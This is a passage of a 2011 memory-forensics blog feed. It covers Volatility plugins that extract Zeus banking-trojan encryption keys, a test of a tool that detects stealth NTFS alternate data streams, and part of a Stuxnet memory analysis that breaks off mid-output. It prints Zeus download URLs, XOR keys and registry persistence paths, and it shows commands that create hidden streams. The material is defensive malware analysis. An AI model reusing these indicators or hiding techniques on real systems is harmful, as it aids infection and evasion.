H-..3...M.~De{./&lt;br /&gt;0x00000070   ea 3f 2c ce 9a 9d db 31 b0 69 cf f7 e7 a6 82 a4    .?,....1.i......&lt;br /&gt;0x00000080   ad a3 30 9b 76 f0 f5 ac c2 fb 8b 4f fe 8d a8 04    ..0.v......O....&lt;br /&gt;0x00000090   86 a0 50 4c 4b e2 ec 60 e6 dd c6 42 cc 6b 89 57    ..PLK..`...B.k.W&lt;br /&gt;0x000000a0   d1 d8 78 4a 1d d7 9f e0 7a 75 e3 7f a2 77 85 2b    ..xJ....zu...w.+&lt;br /&gt;0x000000b0   59 16 d6 d4 f4 93 ee 9c d2 03 be 2e 06 1b 56 70    Y.............Vp&lt;br /&gt;0x000000c0   d5 73 ca f8 fd 12 37 49 98 46 0d bb 96 c9 18 b9    .s....7I.F......&lt;br /&gt;0x000000d0   81 74 a9 3c 21 c4 da 38 0c 1e 27 0a c7 15 47 68    .t.ji--..8..'...G&lt;br /&gt;0x000000e0   bc f6 91 fa 72 3d 01 e9 22 e1 09 c8 19 c0 aa b3    ....r=..".......&lt;br /&gt;0x000000f0   b4 08 17 3b 61 92 02 63 43 62 d9 df 97 24 28 a5    ...;a..cCb...$(.&lt;br /&gt;0x00000100   00 00                                              ..&lt;/span&gt;&lt;/pre&gt;I'll show a preview of the other variants installed on zeus2x4.vmem, but withhold the keys for the sake of brevity.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;--------------------------------------------------&lt;br /&gt;Process:     nifek_locked.ex&lt;br /&gt;Pid:         2204&lt;br /&gt;Address:     0x400000&lt;br /&gt;URL:         http://zephehooqu.ru/bin/koethood.bin&lt;br /&gt;Identifier:  OREO_7875768FD1A71CE9&lt;br /&gt;Mutant key:  0x895B26B0&lt;br /&gt;XOR key:     0x739A94C5&lt;br /&gt;Registry:    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Opiss&lt;br /&gt;Value 1:     Ypzoarfu&lt;br /&gt;Value 2:     Omviacy&lt;br /&gt;Value 3:     Otedhay&lt;br /&gt;Executable:  Pese\nifek.exe&lt;br /&gt;Data file:   Iqpa\ytzea.dat&lt;br /&gt;&lt;br /&gt;--------------------------------------------------&lt;br /&gt;Process:     vaelh.exe&lt;br /&gt;Pid:         952&lt;br /&gt;Address:     0x400000&lt;br /&gt;URL:         http://nahwgwwergwyt.com/gamer/eqtewttetwq.img&lt;br /&gt;Identifier:  ZESRA037219_7875768F7BDEA03C&lt;br /&gt;Mutant key:  0x90B18B41&lt;br /&gt;XOR key:     0x569E6C1F&lt;br /&gt;Registry:    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Koti&lt;br /&gt;Value 1:     Imwiase&lt;br /&gt;Value 2:     Qaofl&lt;br /&gt;Value 3:     Izsuuqex&lt;br /&gt;Executable:  Ammaax\vaelh.exe&lt;br /&gt;Data file:   Xuuf\otsip.dat&lt;br /&gt;&lt;br /&gt;--------------------------------------------------&lt;br /&gt;Process:     anaxu.exe&lt;br /&gt;Pid:         3508&lt;br /&gt;Address:     0x400000&lt;br /&gt;URL:         http://basicasco.ru/otp/zero.doc&lt;br /&gt;Identifier:  PENNY_74DEB1E33B0FB384&lt;br /&gt;Mutant key:  0x2CB173C4&lt;br /&gt;XOR key:     0xD60F77DA&lt;br /&gt;Registry:    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Otve&lt;br /&gt;Value 1:     Puyqo&lt;br /&gt;Value 2:     Yhahezf&lt;br /&gt;Value 3:     Obivq&lt;br /&gt;Executable:  Wuebx\anaxu.exe&lt;br /&gt;Data file:   Neme\wuwe.dat&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Conclusion &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is just one example of taking memory analysis to the next level and I hope it reminds everyone that Volatility isn't just a tool for carving Windows data  structures and finding evidence to correlate with disk, registry, and  network artifacts. Volatility is a powerful, flexible tool limited only by your own creativity.  Every Friday (or every day, depending on how much trouble you want to get into with your boss) we invite you to stop what you're doing and join the fun of pushing the limits of memory analysis. What do you want to do next?&lt;br /&gt;&lt;br /&gt;View the zeusscan1 source code &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/zeusscan/zeusscan1.py"&gt;here&lt;/a&gt;.&lt;br /&gt;View the zeusscan2 source code &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/zeusscan/zeusscan2.py"&gt;here&lt;/a&gt;.&lt;br /&gt;To use the plugins, you need &lt;a href="http://code.google.com/p/yara-project/"&gt;Yara&lt;/a&gt;, the &lt;a href="http://code.google.com/p/volatility/source/checkout"&gt;2.1 alpha branch of Volatility&lt;/a&gt;, and &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/malware.py"&gt;malware.py&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Until the next Volatility Friday....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-5007571858454628309?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/5007571858454628309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=5007571858454628309' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/5007571858454628309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/5007571858454628309'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2011/09/abstract-memory-analysis-zeus.html' title='Abstract Memory Analysis: Zeus Encryption Keys'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-9QjqU6fwZAg/ToPzfjxQU_I/AAAAAAAACLw/03emRWOwzug/s72-c/exhibit3-3.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-1364193960717447910</id><published>2011-09-20T09:31:00.006-06:00</published><updated>2011-09-20T10:24:35.090-06:00</updated><title type='text'>Detecting Stealth ADS with The Sleuth Kit (TSK)</title><content type='html'>Exploit Monday has an interesting article on &lt;a href="http://www.exploit-monday.com/2011/09/stealth-alternate-data-streams-and.html"&gt;Stealth Alternate Data Streams and Other ADS Weirdness&lt;/a&gt; - read it if you haven't already. The author points out some ways to disrupt traditional stream detection tools. Since I created my own stream detection tool (see Chapter 10 of &lt;a href="http://www.amazon.com/dp/0470613033?tag=malwacookb-20&amp;amp;camp=14573&amp;amp;creative=327641&amp;amp;linkCode=as1&amp;amp;creativeASIN=0470613033&amp;amp;adid=1AQZDCRT6GW80HTST44Z&amp;amp;"&gt;Malware Analyst's Cookbook&lt;/a&gt;), I was interested to see how it would fare. The tool is built on &lt;a href="http://www.sleuthkit.org/sleuthkit/docs/api-docs/"&gt;The Sleuth Kit API&lt;/a&gt;, thus it reads directly from the MFT instead of relying on Windows API functions.&lt;br /&gt;&lt;br /&gt;Here is a basic listing of my C: drive contents:&lt;br /&gt;&lt;pre&gt;C:\&amp;gt;dir&lt;br /&gt;Volume in drive C has no label.&lt;br /&gt;Volume Serial Number is 400B-1E43&lt;br /&gt;&lt;br /&gt;Directory of C:\&lt;br /&gt;&lt;br /&gt;08/22/2010  01:36 PM                 0 AUTOEXEC.BAT&lt;br /&gt;08/22/2010  01:36 PM                 0 CONFIG.SYS&lt;br /&gt;08/22/2010  01:38 PM    dir          Documents and Settings&lt;br /&gt;06/03/2011  02:58 PM    dir          Program Files&lt;br /&gt;09/20/2011  10:50 AM    dir          WINDOWS&lt;/pre&gt;Now I'll create a few of the special streams.&lt;br /&gt;&lt;pre&gt;C:\&amp;gt;echo hi &amp;gt; \\?\C:\NUL&lt;br /&gt;C:\&amp;gt;echo hi &amp;gt; \\?\C:\NUL:hidden&lt;br /&gt;&lt;br /&gt;C:\&amp;gt;echo hi &amp;gt; test.txt&lt;br /&gt;C:\&amp;gt;echo hi &amp;gt; test.txt:^G^G^G&lt;/pre&gt;Sanity check on the drive contents (we should see two new files):&lt;br /&gt;&lt;pre&gt;&lt;span style="font-family:monospace;"&gt;C:\&amp;gt;dir&lt;br /&gt;Volume in drive C has no label.&lt;br /&gt;Volume Serial Number is 400B-1E43&lt;br /&gt;&lt;br /&gt;Directory of C:\&lt;br /&gt;&lt;br /&gt;08/22/2010  01:36 PM                 0 AUTOEXEC.BAT&lt;br /&gt;08/22/2010  01:36 PM                 0 CONFIG.SYS&lt;br /&gt;08/22/2010  01:38 PM    dir          Documents and Settings&lt;br /&gt;09/20/2011  10:57 AM                 5 NUL&lt;br /&gt;06/03/2011  02:58 PM    dir          Program Files&lt;br /&gt;09/20/2011  11:21 AM                 5 test.txt&lt;br /&gt;09/20/2011  10:50 AM    dir          WINDOWS&lt;/span&gt;&lt;/pre&gt;Now let's see how we do! I'll use &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/10/2/"&gt;tsk-xview.exe&lt;/a&gt; (note you also need offreg.dll).&lt;br /&gt;&lt;pre&gt;Z:\tools&amp;gt;tsk-xview.exe -r -v&lt;br /&gt;&lt;br /&gt;[INFO] High-level enumeration. Please wait.&lt;br /&gt;[INFO] Found 95773 files and dirs&lt;br /&gt;[INFO] Opened \\.\PhysicalDrive0&lt;br /&gt;[INFO] Partition NTFS (0x07) at sector 56&lt;br /&gt;[INFO] Low-level enumeration. Please wait.&lt;br /&gt;[STREAM] C:/NUL:hidden&lt;br /&gt;Inode: 12991-128-3&lt;br /&gt;Size: 8&lt;br /&gt;SIA Created:         Tue Sep 20 10:56:14 2011&lt;br /&gt;SIA File Modified:   Tue Sep 20 10:57:27 2011&lt;br /&gt;SIA MFT Modified:    Tue Sep 20 10:57:27 2011&lt;br /&gt;SIA Accessed:        Tue Sep 20 10:57:27 2011&lt;br /&gt;FNI Created:         Tue Sep 20 10:56:14 2011&lt;br /&gt;FNI File Modified:   Tue Sep 20 10:56:14 2011&lt;br /&gt;FNI MFT Modified:    Tue Sep 20 10:56:14 2011&lt;br /&gt;FNI Accessed:        Tue Sep 20 10:56:14 2011&lt;br /&gt;[STREAM] C:/test.txt:^^^&lt;br /&gt;Inode: 12994-128-6&lt;br /&gt;Size: 5&lt;br /&gt;SIA Created:         Tue Sep 20 10:58:25 2011&lt;br /&gt;SIA File Modified:   Tue Sep 20 11:21:17 2011&lt;br /&gt;SIA MFT Modified:    Tue Sep 20 11:21:17 2011&lt;br /&gt;SIA Accessed:        Tue Sep 20 11:21:17 2011&lt;br /&gt;FNI Created:         Tue Sep 20 10:58:25 2011&lt;br /&gt;FNI File Modified:   Tue Sep 20 10:58:25 2011&lt;br /&gt;FNI MFT Modified:    Tue Sep 20 10:58:25 2011&lt;br /&gt;FNI Accessed:        Tue Sep 20 10:58:25 2011&lt;/pre&gt;It detected both streams perfectly, albeit displaying the file name as ^^^ instead of ^G^G^G (it could be more console-friendly and print those chars as hex values).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-1364193960717447910?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/1364193960717447910/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=1364193960717447910' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/1364193960717447910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/1364193960717447910'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2011/09/detecting-stealth-ads-with-sleuth-kit.html' title='Detecting Stealth ADS with The Sleuth Kit (TSK)'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-2661066967859357938</id><published>2011-06-03T08:13:00.117-06:00</published><updated>2011-08-01T06:38:17.133-06:00</updated><title type='text'>Stuxnet's Footprint in Memory with Volatility 2.0</title><content type='html'>In this blog post, we'll examine Stuxnet's footprint in memory using &lt;a href="http://code.google.com/p/volatility/"&gt;Volatility 2.0&lt;/a&gt;. A talk was given at &lt;a href="https://www.volatilesystems.com/default/omfw"&gt;Open Memory Forensics Workshop&lt;/a&gt; on this topic (see the online &lt;a href="http://prezi.com/goocmfeuiqdf/tracking-stuxnets-footprint-through-memory/"&gt;Prezi&lt;/a&gt;) and the details will be shared here for anyone who missed it.&lt;br /&gt;&lt;br /&gt;I picked this topic for two reasons. First, Stuxnet modifies an infected system in such ways that are perfect for showing off many of the new capabilities in Volatility 2.0. We won't cover &lt;span style="font-style: italic;"&gt;all&lt;/span&gt; of Volatility's commands (for example you won't see idt, gdt, ssdt), because Stunet doesn't mess with those areas of the system, but you'll get a good summary. Second, although many people understand technical malware descriptions, not many people have the "glue" knowledge to translate artifacts that they read about into Volatility commands. Sometimes you can capably determine if a system is infected by hunting for the artifacts eluded to in reports. Thus, many of the artifacts we'll be hunting come from direct quotes in the following articles:&lt;br /&gt;&lt;br /&gt;* [1] Mark Russinovich's &lt;a href="http://blogs.technet.com/b/markrussinovich/archive/2011/03/30/3416253.aspx"&gt;Analyzing a Stuxnet Infection with the Sysinternals Tools&lt;/a&gt;&lt;a href="http://blogs.technet.com/b/markrussinovich/archive/2011/03/30/3416253.aspx"&gt;, Part I&lt;/a&gt;&lt;br /&gt;* [2] Mark Russinovich's &lt;a href="http://blogs.technet.com/b/markrussinovich/archive/2011/04/20/3422035.aspx"&gt;Analyzing a Stuxnet Infection with the Sysinternals Tools&lt;/a&gt;&lt;a href="http://blogs.technet.com/b/markrussinovich/archive/2011/04/20/3422035.aspx"&gt;, Part II&lt;/a&gt;&lt;br /&gt;* [3] Mark Russinovich's &lt;a href="http://blogs.technet.com/b/markrussinovich/archive/2011/05/10/3422212.aspx"&gt;Analyzing a Stuxnet Infection with the Sysinternals Tools&lt;/a&gt;&lt;a href="http://blogs.technet.com/b/markrussinovich/archive/2011/05/10/3422212.aspx"&gt;, Part III&lt;/a&gt;&lt;br /&gt;* [4] Symantec's &lt;a href="http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf"&gt;W32.Stuxnet Dossier&lt;/a&gt;&lt;br /&gt;* [5] Amr Thabet's &lt;a href="http://ispy.infospyware.net/images/2010/MrxCls-Stuxnet-Loader-Driver-English.pdf"&gt;MrxCls - Stuxnet Loader Driver&lt;/a&gt;&lt;br /&gt;* [6] ESET's &lt;a href="http://www.eset.com/resources/white-papers/Stuxnet_Under_the_Microscope.pdf"&gt;Stuxnet Under The Microscope &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Getting Started&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The memory image we'll be working with is available &lt;a href="http://malwarecookbook.googlecode.com/svn/trunk/stuxnet.vmem.zip"&gt;here&lt;/a&gt;. The MD5 of the Stuxnet sample is &lt;a href="http://threatexpert.com/report.aspx?md5=74ddc49a7c121a61b8d06c03f92d0c13"&gt;74ddc49a7c121a61b8d06c03f92d0c13&lt;/a&gt; (link to ThreatExpert).&lt;br /&gt;&lt;br /&gt;Since I plan to run several commands on the same memory image, I'll start by setting  environment variables for the file name and profile.&lt;br /&gt;&lt;br /&gt;$ export VOLATILITY_LOCATION=file:///memory/stuxnet.vmem&lt;br /&gt;$ export VOLATILITY_PROFILE=WinXPSP3x86&lt;br /&gt;&lt;br /&gt;Then I made sure to grab the latest &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/malware.py"&gt;malware.py source code&lt;/a&gt; and placed it in Volatility's plugins directory.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 1: Extra lsass.exe&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"a  normal Windows XP installation has just one instance of Lsass.exe that   the Winlogon process creates when the system boots (Wininit creates it   on Windows Vista and higher). The process tree reveals that the two new   Lsass.exe instances were both created by Services.exe...the Service Control Manager, which implies that  Stuxnet  somehow got its code into the Services.exe process." [1]&lt;/span&gt;&lt;/blockquote&gt;Based on this statement, you could use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#pslist"&gt;pslist&lt;/a&gt;, &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#psscan"&gt;psscan&lt;/a&gt;, or &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#pstree"&gt;pstree&lt;/a&gt; commands. Pslist walks the doubly-linked list of EPROCESS structures starting from PsActiveProcessHead. Psscan uses pool tag scanning. Since we have no reason to believe that Stuxnet uses DKOM for process hiding, I won't use psscan. Pstree inherits from pslist (see the &lt;a href="http://volatility.googlecode.com/files/volatility-2.0-inheritance-graph.pdf"&gt;Volatility 2.0 Inheritance Graph&lt;/a&gt;) and is probably best since it shows a visual parent/child relationship.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$&lt;span style="font-weight: bold;"&gt; ./vol.py pstree&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Name                                        Pid    PPid   Thds   Hnds   Time  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 0x823C8830:System                               4      0     59    403 1970-01-01 00:00:00       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;. 0x820DF020:smss.exe                          376      4      3     19 2010-10-29 17:08:53       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.. 0x821A2DA0:csrss.exe                        600    376     11    395 2010-10-29 17:08:54       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.. 0x81DA5650:winlogon.exe                     624    376     19    570 2010-10-29 17:08:54       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;... 0x82073020:services.exe                    668    624     21    431 2010-10-29 17:08:54       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x81FE52D0:vmtoolsd.exe                  1664    668      5    284 2010-10-29 17:09:05       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;..... 0x81C0CDA0:cmd.exe                       968   1664      0 ------ 2011-06-03 04:31:35       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;...... 0x81F14938:ipconfig.exe                 304    968      0 ------ 2011-06-03 04:31:35       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x822843E8:svchost.exe                   1032    668     61   1169 2010-10-29 17:08:55       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;..... 0x822B9A10:wuauclt.exe                   976   1032      3    133 2010-10-29 17:12:03       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;..... 0x820ECC10:wscntfy.exe                  2040   1032      1     28 2010-10-29 17:11:49       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x81E61DA0:svchost.exe                    940    668     13    312 2010-10-29 17:08:55       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x81DB8DA0:svchost.exe                    856    668     17    193 2010-10-29 17:08:55       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;..... 0x81FA5390:wmiprvse.exe                 1872    856      5    134 2011-06-03 04:25:58       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x821A0568:VMUpgradeHelper               1816    668      3     96 2010-10-29 17:09:08       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x81FEE8B0:spoolsv.exe                   1412    668     10    118 2010-10-29 17:08:56       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x81FF7020:svchost.exe                   1200    668     14    197 2010-10-29 17:08:55       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;.... 0x81C47C00:lsass.exe                     1928    668      4     65 2011-06-03 04:26:55  &lt;/span&gt; &lt;/span&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x81E18B28:svchost.exe                   1080    668      5     80 2010-10-29 17:08:55       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x8205ADA0:alg.exe                        188    668      6    107 2010-10-29 17:09:09       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x823315D8:vmacthlp.exe                   844    668      1     25 2010-10-29 17:08:55       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x81E0EDA0:jqs.exe                       1580    668      5    148 2010-10-29 17:09:05       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;.... 0x81C498C8:lsass.exe                      868    668      2     23 2011-06-03 04:26:55  &lt;/span&gt;     &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.... 0x82279998:imapi.exe                      756    668      4    116 2010-10-29 17:11:54       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;... 0x81E70020:lsass.exe                       680    624     19    342 2010-10-29 17:08:54 &lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;As  you can see, the two lsass.exe processes that started on 2011-06-03  have a parent pid of 668, which belongs to services.exe. However the  real lsass.exe (pid 680) has a parent pid of 624 which belongs to  winlogon.exe. Given the method used to start the two malicious lsass.exe  processes, their SIDs also match the legit copy...which you can verify  with &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#getsids"&gt;getsids&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py getsids -p 680,868,1928&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (680): S-1-5-18 (Local System)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (680): S-1-5-32-544 (Administrators)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (680): S-1-1-0 (Everyone)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (680): S-1-5-11 (Authenticated Users)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (868): S-1-5-18 (Local System)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (868): S-1-5-32-544 (Administrators)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (868): S-1-1-0 (Everyone)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (868): S-1-5-11 (Authenticated Users)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (1928): S-1-5-18 (Local System)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (1928): S-1-5-32-544 (Administrators)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (1928): S-1-1-0 (Everyone)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe (1928): S-1-5-11 (Authenticated Users)&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style="font-size:180%;"&gt;Artifact 2: Process Priority&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left; color: rgb(51, 51, 255);"&gt;&lt;blockquote&gt;"...some  Windows system processes (such as the Session Manager, service  controller, and local security authentication server) have a base  process priority slightly higher than the default for the Normal class  (8)." - Windows Internals 5th Edition pg. 395&lt;/blockquote&gt;&lt;/div&gt;In other  words, the legit local security authentication server (lsass.exe) will  have a higher priority than normal processes, including those created by  Stuxnet. The process base  priority is stored in EPROCESS.Pcb.BasePriority. Although there isn't necessarily a plugin already written to extract the BasePriority field, the data is very easy to access in Volatility, as opposed to some GUI tools which only show you select fields from EPROCESS. For example, just use a little &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#volshell"&gt;volshell&lt;/a&gt; scripting.&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py volshell &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;Current context: process System, pid=4, ppid=0 DTB=0x319000&lt;br /&gt;Leopard libedit detected.&lt;br /&gt;Welcome to volshell! Current memory image is:&lt;br /&gt;file:////memory/stuxnet.vmem&lt;br /&gt;To get help, type 'hh()'&lt;br /&gt;&lt;br /&gt;In [1]: &lt;span style="font-weight: bold;"&gt;for proc in win32.tasks.pslist(self.addrspace):&lt;/span&gt;&lt;br /&gt;....:     &lt;span style="font-weight: bold;"&gt;if proc.UniqueProcessId in (680, 868, 1928):&lt;/span&gt;&lt;br /&gt;....:         &lt;span style="font-weight: bold;"&gt;print "Pid: {0} Priority: {1}".format(proc.UniqueProcessId, proc.Pcb.BasePriority)&lt;/span&gt;&lt;br /&gt;....:&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Pid: 680 Priority: 9&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Pid: 868 Priority: 8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Pid: 1928 Priority: 8&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;As  you can see, the BasePriority of the legit lsass.exe (pid 680) is 9,  whereas the ones created by Stuxnet are 8. It is possible to change the priority by using &lt;a href="http://msdn.microsoft.com/en-us/library/ms686219%28v=vs.85%29.aspx"&gt;SetPriorityClass&lt;/a&gt;, but Stuxnet doesn't bother to do so. Also, since the base priority of threads is inherited from the base priority of the process which owns the thread (unless &lt;a href="http://msdn.microsoft.com/en-us/library/ms686277%28v=vs.85%29.aspx"&gt;SetThreadPriority&lt;/a&gt; is called), then the differences should be visible using the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#threads"&gt;threads&lt;/a&gt; command.&lt;br /&gt;&lt;br /&gt;Take a look at a thread owned by the legit lsass.exe (Tid 1768) and a thread owned by a malicious lsass.exe (Tid 764).&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py threads &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[snip] &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ETHREAD: 0x822722d0 &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Pid: 680&lt;/span&gt; &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Tid: 1768&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Tags: HookedSSDT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Created: 2010-10-29 17:09:05 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Exited: -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Owning Process: 0x81e70020 'lsass.exe'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Attached Process: 0x81e70020 'lsass.exe'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;State: Waiting:UserRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;BasePriority: 0x9&lt;br /&gt;Priority: 0x9&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;TEB: 0x7ffa0000&lt;/span&gt;&lt;br 